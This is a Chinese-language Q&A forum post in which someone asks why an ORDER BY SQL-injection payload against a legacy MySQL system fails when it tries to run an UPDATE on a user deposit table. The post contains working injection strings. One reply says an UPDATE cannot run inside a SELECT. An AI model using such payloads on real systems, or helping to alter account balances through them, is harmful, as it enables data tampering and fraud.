mysql - sql報錯原因？
問題描述
發現一個正在維護的老系統的基于orderBy的sql注入漏洞，準備驗證一下，
我先執行這個sql注入，是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是當我執行這個帶update語句的sql時報錯了：
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
報錯
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我應該如何讓他執行update？
問題解答
回答1：主體是select的時候，里面是不能update的，否則執行不了的，mybatis這種注入我試過，<select>里執行update直接報錯，注入不了
相關文章：
1. 我的html頁面一提交，網頁便顯示出了我的php代碼，求問是什么原因？2. django - 后臺返回的json數據經過Base64加密，獲取時用python如何解密~！3. tp6表單令牌4. 我在centos容器里安裝docker，也就是在容器里安裝容器，報錯了？5. node.js - node 客戶端socket一直報錯Error: read ECONNRESET，用php的socket沒問題哈。。6. docker 17.03 怎么配置 registry mirror ?7. 老哥們求助啊8. node.js - nodejs中把熱request保存下來，使用JSON.stringify(req)報錯，請問怎么解決？9. mysql分庫分表量級疑問10. javascript - canvas 可以實現 PS 魔法橡皮擦的功能嗎？
網公網安備